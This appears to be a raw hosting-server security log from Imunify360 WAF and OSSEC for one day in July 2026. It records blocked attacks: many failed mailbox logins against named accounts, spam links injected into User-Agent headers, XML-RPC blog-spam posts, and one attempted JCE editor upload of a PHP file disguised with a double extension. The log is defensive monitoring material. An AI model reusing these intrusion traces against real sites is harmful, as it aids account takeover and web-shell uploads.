IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://r100.jp/cgi-bin/search/rank.cgi?mode=link&id=164&url=https://daos-acc.com/2023/06/22/the-importance-of-building-a-strong-brand-identity/\">road travel</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.153.166.140
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/43616932 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.155.45.206
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4c1995725 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.130.189.181
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/63901816 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.38.108
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ddgalaxy.in/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.2.30
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ddgalaxy.in/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.53.88
country_id: 2635167
domain: www.ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ddgalaxy.in/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.52.224
country_id: 2635167
domain: www.ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ddgalaxy.in/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.33.180
country_id: 6252001
domain: www.ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ddgalaxy.in/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.54.144
country_id: 2921044
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ddgalaxy.in/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.229.105
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ddgalaxy.in/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.56.28.231
country_id: 6252001
domain: www.ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ddgalaxy.in/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.224.32.203
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/721033958 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 143.105.152.52
country_id: 2233387
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37075.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9107d7fe2265be051495aa14377c987d6fdd19b9||Title:0x4b7ae6b2||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:plg_system_visformsapprovalworkflow-2.1.2.zip||RSV:8.32||T:APACHE||Install directory:/home/futuracarecom/tmp||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.176.64.125
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9d3792564 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.235.176.54
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0a2292307 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 132.243.167.3
country_id: 2635167
domain: metrodigitals.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/metrodigitals/public_html/api/file||User:metrodigitals||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.50.109.196
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/253602009 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.83.214.194
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/372440901 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.248.156
country_id: 1835841
description:
Jul 21 08:43:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.248.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.248.156
country_id: 1835841
description:
2026-07-21 08:44:00 dovecot_login authenticator failed for H=([139.227.59.202]) [125.143.248.156]:44572: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.171.29.65
country_id: 6252001
description:
2026-07-21 08:46:01 dovecot_plain authenticator failed for H=c-67-171-29-65.hsd1.wa.comcast.net (hesisavic) [67.171.29.65]:42000: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.122.44
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5f3412014 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 Buy gold bars with bitcoin (<a href=\"https://programminginsider.com/how-to-buy-gold-and-silver-with-cryptocurrency-a-practical-2026-guide/\">programminginsider.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-21 08:52:56 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [182.95.123.50]:50898: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.123.50
country_id: 1269750
description:
Jul 21 08:52:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.123.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 132.243.167.3
country_id: 2635167
domain: metrodigitals.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/metrodigitals/public_html/index.php||User:metrodigitals||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.82.45.202
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c41236472 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.119.115.229
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c6820725 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.168.146.152
country_id: 6252001
description:
Jul 21 09:17:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.168.146.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-21 09:17:56 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([49.124.152.216]) [174.168.146.152]:59005: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-21 09:18:32 dovecot_login authenticator failed for H=([59.17.27.137]) [112.161.42.97]:35636: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:69cc:57f9:d368:38fb
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_tel_attribute_class]||MV: inputbox visCSSinput ||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 146.85.67.218
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/db3097108 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.68.106
country_id: 3996063
description:
Jul 21 09:31:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.68.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.171.68.106
country_id: 3996063
description:
2026-07-21 09:31:42 dovecot_plain authenticator failed for H=(aworawpism) [190.171.68.106]:59198: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://strategy.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.65.238.20
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95577.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96138ccb48076041dd826fb54a845bb23cf6d987||Title:0xc7eac0af||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-21 09:37:44 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([67.201.57.102]) [75.80.69.106]:38818: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.80.69.106
country_id: 6252001
description:
Jul 21 09:37:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.80.69.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.202
country_id: 1835841
description:
Jul 21 09:42:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-21 09:42:45 dovecot_login authenticator failed for H=([49.124.159.193]) [218.156.93.202]:48789: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.90.111.74
country_id: 1269750
description:
Jul 21 09:43:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.90.111.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-21 09:43:30 dovecot_login authenticator failed for H=([113.200.216.246]) [59.90.111.74]:60180: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.97.43.155
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/36812043 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.115
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.115||TA:38.154.206.115||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.116
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.116||TA:38.154.206.116||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.235.135.119
country_id: 6252001
description:
Jul 21 09:45:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.235.135.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.235.135.119
country_id: 6252001
description:
2026-07-21 09:45:55 dovecot_login authenticator failed for H=140-235-135-119.clik.zone ([192.111.129.146]) [140.235.135.119]:54946: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-21 09:46:24 dovecot_login authenticator failed for H=([95.221.237.112]) [65.20.205.197]:55399: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.117
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.117||TA:38.154.206.117||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.205.197
country_id: 99237
description:
Jul 21 09:46:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.205.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-21 09:48:30 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com (187-51-219-26.customer.tdatabrasil.net.br) [34.41.211.48]:34682: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.197.31.229
country_id: 3582678
description:
2026-07-21 09:49:01 dovecot_login authenticator failed for H=([62.201.212.54]) [190.197.31.229]:39368: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.197.31.229
country_id: 3582678
description:
Jul 21 09:48:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.197.31.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-21 09:56:56 dovecot_login authenticator failed for H=(110-25-110-134.adsl.fetnet.net) [182.95.217.202]:47500: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.0.90.81
country_id: 2077456
description:
Jul 21 09:57:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.0.90.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.81
country_id: 2077456
description:
2026-07-21 09:57:09 dovecot_login authenticator failed for H=210.0.90.81.static.nexnet.net.au (187-50-193-126.customer.tdatabrasil.net.br) [210.0.90.81]:51112: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.217.202
country_id: 1269750
description:
Jul 21 09:56:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.217.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-21 10:06:53 dovecot_plain authenticator failed for H=(haratic) [154.144.243.93]:53034: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.143.72
country_id: 298795
description:
Jul 21 10:06:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.143.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.143.72
country_id: 298795
description:
2026-07-21 10:06:59 dovecot_plain authenticator failed for H=(vents) [5.11.143.72]:38202: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.40.45.223
country_id: 1861060
description:
Jul 21 10:07:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.40.45.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-21 10:07:35 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([125.61.5.74]) [60.40.45.223]:59235: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.47.146
country_id: 1819730
description:
Jul 21 10:08:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.47.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.126.240.16
country_id: 2661886
description:
Jul 21 10:08:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.126.240.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.16
country_id: 2661886
description:
2026-07-21 10:08:24 dovecot_login authenticator failed for H=([2.55.88.51]) [188.126.240.16]:51902: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-21 10:08:40 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([183.171.236.103]) [220.246.47.146]:60099: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.248.115.200
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c22020637 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.133.4.22
country_id: 1522867
description:
Jul 21 10:20:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.133.4.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.4.22
country_id: 1522867
description:
2026-07-21 10:20:38 dovecot_login authenticator failed for H=2.133.4.22.dynamic.telecom.kz (ip-103-133.222-205.cloudteknologinusantara.co.id) [2.133.4.22]:47545: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.129.75.178
country_id: 1835841
description:
Jul 21 10:21:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.129.75.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-21 10:21:15 dovecot_login authenticator failed for H=(static.ill.61.2.246.139.bsnl.co.in) [121.129.75.178]:56162: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.133.56
country_id: 99237
description:
Jul 21 10:30:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.133.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-21 10:30:46 dovecot_login authenticator failed for H=([218.13.214.18]) [65.20.133.56]:35692: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.91.135.181
country_id: 6252001
description:
Jul 21 10:31:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.91.135.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-21 10:31:23 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [70.91.135.181]:25965: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.203.17.220
country_id: 6252001
description:
Jul 21 10:32:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.203.17.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-21 10:32:16 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([114.100.48.120]) [73.203.17.220]:34182: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.15.156.244
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b63618170 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.192.247.84
country_id: 1269750
description:
Jul 21 10:32:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.192.247.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-21 10:32:38 dovecot_login authenticator failed for H=([122.53.106.124]) [203.192.247.84]:39464: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://bbs.abcdv.net/home.php?mod=space&uid=1748116&do=profile\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcemnkklf09.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-21 10:38:51 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([218.25.230.76]) [218.103.36.176]:58510: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.112.237.99
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d53148247 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-21 10:38:22 dovecot_login authenticator failed for H=([70.166.167.59]) [101.13.4.119]:50144: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.119
country_id: 1668284
description:
Jul 21 10:38:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.103.36.176
country_id: 1819730
description:
Jul 21 10:38:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.103.36.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.135.74.36
country_id: 6290252
description:
Jul 21 10:39:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.135.74.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.135.74.36
country_id: 6290252
description:
2026-07-21 10:39:59 dovecot_login authenticator failed for H=cable-24-135-74-36.dynamic.sbb.rs (ezecom.119.82.253.0.25.ezecom.com.kh) [24.135.74.36]:49966: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.114.8
country_id: 1668284
description:
Jul 21 10:40:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.114.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-21 10:40:09 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([207.254.22.207]) [110.25.114.8]:44235: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.244.227.34
country_id: 3489940
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ef418253 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.228.242
country_id: 1036973
description:
Jul 21 10:52:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.228.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-21 10:52:17 dovecot_login authenticator failed for H=([68.71.251.130]) [197.219.228.242]:44586: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


